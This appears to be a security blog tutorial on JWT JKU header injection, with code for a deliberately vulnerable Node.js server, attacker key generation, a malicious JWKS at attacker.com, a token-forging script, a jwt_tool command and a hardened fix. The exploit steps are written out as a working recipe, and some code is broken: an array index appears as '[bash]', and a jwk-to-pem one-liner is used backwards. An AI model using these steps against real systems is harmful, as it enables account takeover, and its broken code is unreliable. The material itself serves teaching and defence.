JWT JKU Injection: How I Hijacked Authentication with a Malicious JWKS and How to Stop It + Video

Listen to this Post

Featured Image

Introduction

JSON Web Tokens (JWTs) are the backbone of modern API authentication, but misconfigurations in their header can open catastrophic backdoors. The JKU (JSON Web Key Set URL) header allows servers to fetch public keys dynamically—a feature that becomes a devastating attack vector when not properly validated. This article dissects a real-world JWT JKU header injection attack, showing how an attacker can forge admin tokens by hosting a malicious JWKS, and provides a step‑by‑step guide to exploiting and fixing the vulnerability in a Node.js application.

Learning Objectives

  • Understand the purpose and risks of the JWT JKU header.
  • Learn how to build a vulnerable Node.js application and exploit JKU injection to escalate privileges.
  • Master mitigation techniques, including strict validation and key management best practices.

You Should Know

1. Understanding JWT and the JKU Header

JSON Web Tokens consist of three parts: header, payload, and signature. The header often contains the `alg` (algorithm) and, optionally, the `jku` field—a URL pointing to a JSON Web Key Set (JWKS) containing the public key needed to verify the token. While this is convenient for key rotation, an attacker who can control the `jku` value can point the server to a malicious JWKS and sign tokens with their own private key, leading to complete authentication bypass.

Key concept: If the server fetches keys from an untrusted URL without validation, an attacker can forge tokens accepted as valid.

2. Setting Up a Vulnerable Node.js Application

To understand the attack, we first need a vulnerable app. Below is a minimal Express.js server that uses the `jsonwebtoken` library and incorrectly trusts the `jku` header.

const express = require('express');
const jwt = require('jsonwebtoken');
const jwkToPem = require('jwk-to-pem');
const axios = require('axios');

const app = express();
app.use(express.json());

// Hardcoded users for demonstration
const users = { admin: 'admin', user: 'user' };

// Middleware to verify JWT
async function authenticate(req, res, next) {
const token = req.headers.authorization?.split(' ')[bash];
if (!token) return res.status(401).send('No token');

try {
const decoded = jwt.decode(token, { complete: true });
const header = decoded.header;

// VULNERABLE: blindly fetch JWKS from the URL in the jku header
if (header.jku) {
const jwksResp = await axios.get(header.jku);
const key = jwksResp.data.keys.find(k => k.kid === header.kid);
if (!key) throw new Error('Key not found');
const pem = jwkToPem(key);
const payload = jwt.verify(token, pem, { algorithms: [header.alg] });
req.user = payload;
} else {
// Fallback to local public key (simplified)
const payload = jwt.verify(token, 'local-public-key');
req.user = payload;
}
next();
} catch (err) {
res.status(401).send('Invalid token');
}
}

app.get('/admin', authenticate, (req, res) => {
if (req.user.role === 'admin') {
res.send('Welcome admin!');
} else {
res.send('Access denied');
}
});

app.listen(3000, () => console.log('Server running on port 3000'));

This code decodes the token, extracts the `jku` and `kid` from the header, and fetches the JWKS from that URL. If an attacker controls that URL, they can supply a key matching the `kid` and sign a token with a matching private key.

  1. Generating Attacker Keys and Hosting a Malicious JWKS
    The attacker needs an RSA key pair and a JWKS hosted at a publicly accessible URL (e.g., an attacker‑controlled server or a cloud bucket).

Step 1: Generate RSA key pair

 Generate private key
openssl genrsa -out attacker_priv.pem 2048
 Extract public key
openssl rsa -in attacker_priv.pem -pubout -out attacker_pub.pem

Step 2: Convert public key to JWKS format

Use a tool like `jwkgen` or manually create JSON:

{
"keys": [
{
"kty": "RSA",
"kid": "malicious-key-001",
"n": "base64url-encoded-modulus",
"e": "AQAB"
}
]
}

The `n` (modulus) and `e` (exponent) come from the public key. You can extract them with:

 Convert PEM to modulus and exponent (requires python or node)
node -e "const pem = require('fs').readFileSync('attacker_pub.pem','utf8'); const jwk = require('jwk-to-pem')(pem, {private: false}); console.log(JSON.stringify(jwk));"

Step 3: Host the JWKS

Place the JSON file on a server you control (e.g., `https://attacker.com/jwks.json`) and ensure CORS headers allow access if needed.

4. Forging an Admin Token with JKU Injection

With the malicious JWKS online, we craft a JWT with a header pointing to it and a payload granting admin privileges.

Step 1: Create the JWT header

{
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/jwks.json",
"kid": "malicious-key-001"
}

Step 2: Create the payload

{
"user": "attacker",
"role": "admin",
"iat": 1516239022
}

Step 3: Sign the token using the attacker’s private key

Using the `jsonwebtoken` library:

const jwt = require('jsonwebtoken');
const fs = require('fs');

const privateKey = fs.readFileSync('attacker_priv.pem');
const token = jwt.sign(
{ user: 'attacker', role: 'admin' },
privateKey,
{
algorithm: 'RS256',
header: {
jku: 'https://attacker.com/jwks.json',
kid: 'malicious-key-001'
}
}
);
console.log(token);

Run this script to get a forged token.

Step 4: Test the attack

curl -H "Authorization: Bearer <FORGED_TOKEN>" http://localhost:3000/admin

If the server is vulnerable, you’ll see “Welcome admin!”.

5. Mitigation: Securing JWT Validation

The fix is straightforward: never fetch keys from user‑supplied URLs. Instead, use a static whitelist of trusted JWKS endpoints or embed the public key directly. Below is a hardened version:

const TRUSTED_JWKS_URI = 'https://trusted-idp.com/.well-known/jwks.json';

async function authenticate(req, res, next) {
const token = req.headers.authorization?.split(' ')[bash];
if (!token) return res.status(401).send('No token');

try {
const decoded = jwt.decode(token, { complete: true });
const header = decoded.header;

// Reject any token that includes a jku header
if (header.jku) {
return res.status(401).send('JKU header not allowed');
}

// Alternatively, validate against a known JWKS
// const jwksResp = await axios.get(TRUSTED_JWKS_URI);
// const key = jwksResp.data.keys.find(k => k.kid === header.kid);
// if (!key) throw new Error('Key not found');
// const pem = jwkToPem(key);
// const payload = jwt.verify(token, pem, { algorithms: ['RS256'] });

// For simplicity, use a local public key
const payload = jwt.verify(token, 'local-public-key', { algorithms: ['RS256'] });
req.user = payload;
next();
} catch (err) {
res.status(401).send('Invalid token');
}
}

Additional hardening:

  • Use a library that enforces strict `alg` validation (e.g., rejecting `none` algorithm).
  • Validate the `kid` against a known set.
  • Implement key rotation without exposing key URLs in tokens.

6. Real‑World Exploitation and Tools

Attackers often combine JKU injection with other flaws like SSRF. Tools like `jwt_tool` can automate these attacks:

 Use jwt_tool to exploit JKU
python3 jwt_tool.py <JWT> -X a -ju "https://attacker.com/jwks.json"

In bug bounty programs, this vulnerability can lead to full account takeover. Always check if the `jku` is accepted and if the server fetches from arbitrary URLs.

7. Testing and Debugging with Burp Suite

To test live applications, intercept requests and modify the JWT header in Burp Suite. Use the JSON Web Tokens extension to edit the `jku` value and re‑sign the token. Observe whether the server rejects the token or grants access.

What Undercode Say

  • Never trust user‑supplied URLs in JWT headers—always validate against a whitelist or disable the feature entirely.
  • Key management is critical: If you must use JWKS, fetch them from a trusted, static endpoint and cache responses to avoid network delays.
  • Layered defense: Combine algorithm restrictions, `kid` validation, and input sanitization to prevent injection.

The JKU header injection vulnerability highlights how convenience can undermine security. While dynamic key fetching simplifies key rotation, it opens a dangerous side channel. Developers must weigh the benefits against the risk of token forgery. In practice, most applications can avoid `jku` altogether by using a well‑known static endpoint. As APIs continue to proliferate, understanding these subtle JWT misconfigurations becomes essential for any security practitioner.

Prediction

As JSON Web Tokens remain ubiquitous in microservices and serverless architectures, we will see a rise in automated scanning tools specifically targeting JWT header misconfigurations. Attackers will combine JKU injection with SSRF to target internal key servers, potentially leading to large‑scale breaches. The industry will likely move toward short‑lived tokens and mutual TLS to reduce reliance on self‑contained signatures. Expect stricter OAuth profiles and possibly a deprecation of the JKU header in future standards. Security teams should proactively audit their JWT validation logic and consider adopting libraries that disable dynamic header fetching by default.

▶️ Related Video (76% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: The Genetic – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky